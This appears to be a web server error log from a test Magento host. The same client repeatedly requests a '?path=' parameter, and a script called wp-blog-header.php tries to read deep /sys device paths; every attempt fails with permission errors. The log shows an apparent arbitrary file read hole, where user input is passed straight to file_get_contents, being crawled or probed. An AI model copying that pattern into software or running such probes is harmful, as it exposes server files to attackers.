[Thu Mar 26 12:08:49.147751 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ce
[Thu Mar 26 12:08:50.768066 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ec
[Thu Mar 26 12:08:52.290165 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 12:08:52.869997 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:dc
[Thu Mar 26 12:08:58.106365 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 12:08:59.211793 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:09:00.237994 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:cc
[Thu Mar 26 12:09:03.419684 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ee
[Thu Mar 26 12:09:03.932082 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/device:be/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/device:be/subsystem
[Thu Mar 26 12:09:06.493104 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ea
[Thu Mar 26 12:09:07.122866 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ae
[Thu Mar 26 12:09:07.641180 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ec
[Thu Mar 26 12:09:14.606561 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 12:09:15.138370 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ce
[Thu Mar 26 12:09:18.743188 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:09:19.241820 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:09:20.304794 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/device:de/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/device:de/subsystem
[Thu Mar 26 12:09:22.963597 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:fe
[Thu Mar 26 12:09:24.052451 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:fe
[Thu Mar 26 12:09:24.599722 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ec
[Thu Mar 26 12:09:26.639721 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ca
[Thu Mar 26 12:09:27.661380 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:09:28.185841 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:09:29.206540 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:09:30.854540 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ba
[Thu Mar 26 12:09:33.564500 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem
[Thu Mar 26 12:09:35.581247 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 12:09:36.618162 2026] [php:warn] [pid 3216554] [client 74.7.241.26:39904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ec
[Thu Mar 26 12:09:38.982824 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ec
[Thu Mar 26 12:09:39.669515 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ac
[Thu Mar 26 12:09:40.743747 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ec
[Thu Mar 26 12:09:47.537092 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:09:52.554025 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:fc
[Thu Mar 26 12:09:53.668829 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:09:54.231718 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fc
[Thu Mar 26 12:09:56.292695 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ee
[Thu Mar 26 12:09:58.503550 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ee
[Thu Mar 26 12:09:59.423932 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ea
[Thu Mar 26 12:10:01.084587 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ec
[Thu Mar 26 12:10:02.776033 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:10:05.374095 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:10:12.799352 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ac
[Thu Mar 26 12:10:15.495378 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 12:10:18.139811 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
